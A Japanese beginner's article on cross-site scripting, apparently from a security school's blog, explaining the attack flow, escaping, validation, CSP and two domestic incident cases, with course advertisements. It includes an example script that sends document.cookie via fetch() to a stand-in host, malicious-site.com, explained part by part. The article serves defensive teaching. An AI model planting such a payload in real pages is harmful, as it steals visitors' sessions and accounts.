現在のWebサイト・Webアプリケーションでは、ユーザーとのやり取りを通じて多くのデータが処理されています。例えば、コメント欄に書き込みをしたり、検索ボックスで調べ物をしたり、オンラインフォームに情報を入力する時など。
そして、これらの機能はサイトが自動的に内容を更新したり、ユーザーがより便利に利用できるように設計されています。
ですが、この仕組みを悪用したサイバー攻撃も存在しており、被害報告も多数挙がっています。そのサイバー攻撃の代表的なものが「クロスサイトスクリプティング(XSS)」と呼ばれる攻撃です。
本記事では、このXSS攻撃とは何か、具体的な攻撃例やその仕組み、さらに私たちが取るべきセキュリティ対策について、初心者の方にも分かりやすく解説します。
「未経験からでもホワイトハッカーになれる!」実践的セキュリティスクール「セキュ塾」
- サイバーセキュリティ技術者育成コース(2025年4月生募集中)
- ホワイトハッカー育成コース(2025年2月生募集中)
- 脅威インテリジェンス育成コース(受講生随時募集中)
クロスサイトスクリプティング(XSS)攻撃とは
クロスサイトスクリプティング(XSS)攻撃は、対策されていないWebサイト・Webアプリケーションに悪意のあるスクリプトを埋め込み、訪問したユーザに悪意のあるスクリプトを実行させる、Webの脆弱性を突いた代表的なサイバー攻撃です。
例えば、あなたがよく使う掲示板やSNSで、他の誰かが投稿したコメントに「悪意あるスクリプト」がこっそり埋め込まれていたとします。そのスクリプトは、ページを見た瞬間にあなたのブラウザで勝手に動き出し、あなたの個人情報を盗んだり、思わぬ操作をされたりします。その結果、何も知らないうちに、自分のアカウントから知らないメッセージを送られていた、なんてことも起こり得ます。
どうしてこんなことが起こるのかというと、Webサイトがユーザーから送られてくるデータを正しくチェックや置き換えが行われていないためです。
攻撃方法は自体は簡単なものも多く、少し知識があれば実行できてしまうような攻撃でもあります。
それでは、具体的な攻撃手法や対策方法、被害事例を見ていきましょう!
クロスサイトスクリプティング(XSS)攻撃の流れ
具体的な攻撃手法の解説に移る前に、簡単に攻撃の流れについて見ていきましょう。クロスサイトスクリプティング(XSS)攻撃の流れを簡単に紹介すると、下記の5ステップになります。
- 攻撃のターゲットになる、脆弱性を持ったWebサイトやWebアプリケーションを探す。
- 悪意のあるスクリプトを仕込む
攻撃者は、Webサイトのコメント欄や入力フォームに悪意のあるスクリプトを送信します。 - Webサイトがそのまま反映してしまう
Webサイトが入力されたデータを適切に処理せず、そのままページに反映してしまいます。この時、スクリプトが埋め込まれた状態で表示されることになります。 - ユーザ(被害者)がページを訪問し、仕掛けられたスクリプト動作する
ユーザが、ページ内のリンクをクリックしたり、ボタンを押したりといった特定の操作をすると、仕掛けられたスクリプトが実行されます。また、ページを開いただけで、スクリプトが実行されるようなケースもあります。 - 被害が発生する
実行されたスクリプトにより、被害者の個人情報(クッキーやセッションIDなど)が盗まれたり、アカウント権限を奪われたりします。偽のフォームに飛ばされたり、心当たりのないポップアップが表示されたりするケースもあります。
ユーザとしてできる対策は、表示される内容に注意して、
安易なクリックやフォームへの入力を行わないことです!
クロスサイトスクリプティング(XSS)攻撃の具体的な仕組み
スクリプトに馴染みのない方には少し難しく感じるかもしれませんが、クロスサイトスクリプティング攻撃の具体的な仕組みについて解説していきましょう。
まず、攻撃者は掲示板やコメント欄などのユーザが投稿できる機能を持つWebサイトを探します。対象となるWebサイトのコメント欄に、下記の例のような悪意のあるスクリプトを投稿します。
<script> fetch(‘http://malicious-site.com/steal?cookie=’ + document.cookie); </script>
上記のスクリプトは、ユーザのクッキー情報(セッションIDなど)を攻撃者の管理するサイトに送信する仕組みです。
このような手法を実際に試してはいけません!URLにも念のためにアクセスしない様に‼
ユーザがスクリプトが埋め込まれたWebページを開くと、ブラウザは自動的にスクリプトを実行します。攻撃者は盗んだクッキー情報を使って、ユーザのアカウントに不正ログインしたり、重要な操作を行ったりする可能性があります。
サンプルクエリの要素の簡単な解説はこちらです。
使用されている要素 | 簡単な意味 |
---|---|
<script> タグ | JavaScriptコードを埋め込むためのタグです。このタグ内に書かれたコードは、ウェブページが読み込まれるとブラウザで実行される。 |
fetch() 関数 | 指定したURLに対してHTTPリクエスト(通信)を送るためのJavaScript関数です。この例では、悪意のあるサーバーにクッキー情報を送信するリクエストを作成しています。 |
‘http://malicious-site.com/steal?cookie=’ | リクエストを送る先のURLです。「http://malicious-site.com/ 」は攻撃者サーバのURLの例、「/steal」 は攻撃者がデータを受け取り保存するために用意したサーバ内の特定の場所です。「 ?cookie=」 の部分は、送るデータ(ここではクッキー情報)をURLに追加するための仕組みです。 |
+ (加算演算子) | + は、文字列の結合に使われます。'http://malicious-site.com/steal?cookie=' と document.cookie を結びつけて、最終的に「攻撃者のサーバーに送るURL」を作成しています。 |
document.cookie | Webページが保存しているクッキー情報を取得するJavaScriptの仕組みです。ブラウザに保存された、ユーザー情報やログイン情報などのデータです。 |
; (セミコロン) | JavaScriptでは、コードの終わりを示すためにセミコロンを使います。 |
他には、ユーザの画面に攻撃者が用意した偽ポップアップを表示させて、
ログイン情報やクレジットカード番号を入力させる様なスクリプトも存在します。
クロスサイトスクリプティング(XSS)攻撃の対策方法
Webサイト・Webアプリケーション開発者にとって対策必須のサイバー攻撃「クロスサイトスクリプティング(XSS)攻撃」の対策方法をご紹介していきます。
【対策方法1】ユーザー入力のサニタイズ(無害化)
クロスサイトスクリプティング攻撃は、悪意のあるスクリプトがユーザー入力からWebページに埋め込まれることで発生します。そのため、ユーザーが入力した内容を安全な形に変換する対策が有効です。
具体的には、HTMLやJavaScriptにおいて特別な意味を持つ文字(<
, >
, '
, "
, &
など)をエスケープ処理(置き換え)するなどです。
- サニタイズ(置き換え)の例:
- 「入力された文字列:
<script>alert('攻撃');</script>
」
このままだと、ブラウザが<script>
タグをスクリプトとして認識し、実行されてしまいます。この場合、画面に「攻撃」というアラートが表示されるコードになります。 - 「変換された文字列:
<script>alert('攻撃');</script>
」
この場合、<
は<
(”less than”の略)に、>
は>
(”greater than”の略)に変換される。これにより、<script>
がブラウザからただの「文字列」として扱われるようになります。
- 「入力された文字列:
プログラミングに慣れていない場合は、フレームワークやライブラリ(例:Django, Ruby on Railsなど)に搭載された「サニタイズ機能」を使うのが簡単です。
エスケープ処理は、SQLインジェクションの対策方法としても有名です!
【対策方法2】バリデーション処理
バリデーション処理は、ユーザーが入力する内容に制限をかけて、予期しないデータや危険な文字列がシステムに送信されるのを防ぐ手法です。
例えば、電話番号を入力する欄であれば「数字のみ」を許可することで、09012345678
のような正しい形式以外の入力をエラーとして弾くことができます。さらに、コメント欄では、何文字以上・何文字以下といった文字数の制限を設けることで、大量のデータが送られてくることを防ぐことができます。
また、URLを入力するフォームでは、「http://」または「https://」から始まるリンクだけを有効とし、それ以外の形式を無効とすることで、安全なリンクのみを許可することも可能です。
これらの制限を設けることで、不正なスクリプトや予期しないデータが入力されるリスクを減らし、XSS攻撃への耐性を高めることができます。
エスケープ処理と似たような処理に見えるけど、目的がちょっと違うんですね!
【対策方法3】コンテンツセキュリティポリシー(CSP)の設定
コンテンツセキュリティポリシー(CSP)は、Webサイトが実行できるスクリプトや読み込むリソースを制限するブラウザの持つ設定です。この設定を行うことで、意図しないスクリプトの実行を防ぎ、クロスサイトスクリプティング攻撃を防ぐことができます。
たとえば、以下の設定を行うと「自分のサイトのスクリプトだけを許可する」ことができます。
Content-Security-Policy: script-src 'self';
この設定により、悪意ある第三者が仕込んだスクリプトはブロックされます。CSPは他のセキュリティ対策と組み合わせることが効果的です。
ここで例に挙げた設定は、WebサーバのHTTPヘッダーとして送信するか、
HTML内の<meta>
タグを使って指定できます。
【対策方法4】定期的なセキュリティテスト
セキュリティに詳しくない場合、全ての脆弱性を認識し対処することは難しいでしょう。
そういったケースでは、脆弱性診断を行っているセキュリティ専門家に脆弱性診断を依頼して、Webサイト・Webアプリケーションの脆弱性を洗い出してもらうことが効果的です。
脆弱性診断を実施することで、脆弱性が検出された該当箇所、その対応策の提示をしてもらえるだけでなく、他の危険な脆弱性の有無もチェックしてもらえるので、安全安心なWeb運用をするために金銭的な余裕があるなら活用するといいでしょう。
脆弱性診断ツールを導入すれば、外部のセキュリティ専門家に依頼せず、
自社で脆弱性診断を実施することも可能です。
脆弱性診断のスキルも身につくホワイトハッカー養成講座(給付金で受講料大幅減額ができる)
ホワイトハッカー育成コース(2025年2月生募集中)
クロスサイトスクリプティング(XSS)攻撃の被害事例
クロスサイトスクリプティング(XSS)攻撃の被害に遭った国内企業の事例を紹介していきます。公式からの発表があったページも載せていますので、興味が湧いた方はチェックしてみてください。
【大手アパレルブランド: ユニクロ】ユニクロアプリの脆弱性
2020年9月、日本の大手アパレルブランドであるユニクロのAndroidアプリ「ユニクロアプリ」に、脆弱性が見つかりました。この問題により、アプリを通じて特定のリクエストが操作され、ユーザが知らない間に危険なWebサイトへアクセスさせられる可能性があると警告されました。
幸いにも、ユニクロはこの問題を迅速に修正し、2020年9月7日には改良版のアプリをリリースしました。この対策のおかげで、実際の被害は報告されていません。しかし、この事例はWebサイトやアプリがXSS(クロスサイトスクリプティング)攻撃に対して適切な対策を講じる必要性を強調するものとなりました。
特にECサイトのように顧客情報や決済データを扱うサービスにおいては、セキュリティ対策の重要性が一層高まります。こうした事例を通じて、開発者や運営者はセキュリティ意識を再確認する必要があります。
※以下のボタンからJVN(Japan Vulnerability Notes)の発表をご確認いただけます。
【グラントマト株式会社】ECサイト「グラントマトオンラインショップ」の情報流出
2021年11月15日、農業支援や生産資材を取り扱うグラントマト株式会社で、外部からの不正アクセス被害が発表されました。同社が運営するECサイト「グラントマトオンラインショップ」への被害であり、不正アクセスが明らかになったのは2021年9月4日です。
この被害事例の原因は、同社が導入しているECサイト構築サービス「オムニEC」のクロスサイトスクリプティングの脆弱性を突いたことによる第三者の不正アクセスにより、不正ファイルの設置及びペイメントアプリケーションの改ざんが行われたためです。
調査の結果、2021年4月7日から2021年8月19日までの間に「グラントマトオンラインショップ」でクレジットカード決済を利用した顧客349名が情報流出の被害を受けた可能性があるとされています。流出した情報には、クレジットカードの名義、番号、有効期限、セキュリティコードが含まれるとみられています。
この攻撃により、一時的に「グラントマトオンラインショップ」ではクレジットカード決済が停止され、現在(2024年12月19日)では再開しているようです。
※以下のボタンからグラントマト株式会社の発表をご確認いただけます。
まとめ
クロスサイトスクリプティング攻撃は、WebサイトやWebアプリケーションの脆弱性を狙う代表的なサイバー攻撃のであり、開発者は必ず対策を取る必要のある攻撃です。
この攻撃は、悪意のあるスクリプトをWebサイトに埋め込み、サイトを訪れたユーザ(被害者)のブラウザでそのスクリプトを実行させることで、個人情報の盗難や不正操作に繋がります。
防御方法としては、
- サニタイズ(エスケープ処理などによる特別な意味を持つ文字の無害化)
- バリデーション処理(予期しないデータや危険な文字列がシステムに送信されるのを防ぐ手法)
- コンテンツセキュリティポリシーの設定(実行できるスクリプトや読み込むリソースを制限するブラウザの持つ設定)
などが効果的です。
被害事例も多数報告されている危険な攻撃なので、Web開発の際にはぜひ対策をしてみてください。
実践的セキュリティ特化スクール「セキュ塾」では、仮想環境でSQLインジェクションをはじめとするサイバー攻撃を仮想環境で実践し、対策方法まで学習することができます!
未経験からでもホワイトハッカーになれる!実践的セキュリティスクール「セキュ塾」
- サイバーセキュリティ技術者育成コース(2025年4月生募集中)
- ホワイトハッカー育成コース(2025年2月生募集中)
- 脅威インテリジェンス育成コース(受講生随時募集中)
セキュ塾主催】CTF コンテスト 2025/03/22
【セキュ塾】が主催するCTFコンテスト大会が、2025年3月22日(土)に開催決定しました!
このイベントは、セキュ塾の受講生(卒業生も含む)を対象とした、ホワイトハッキングやサイバーセキュリティの技術を競い合う大会で、日ごろの学習の実践や、モチベーションアップを目的として開催しております。
参加費も無料なので、ぜひご参加ください!賞品には、Amazonギフトカードや記念コインをご用意する予定です。
コメント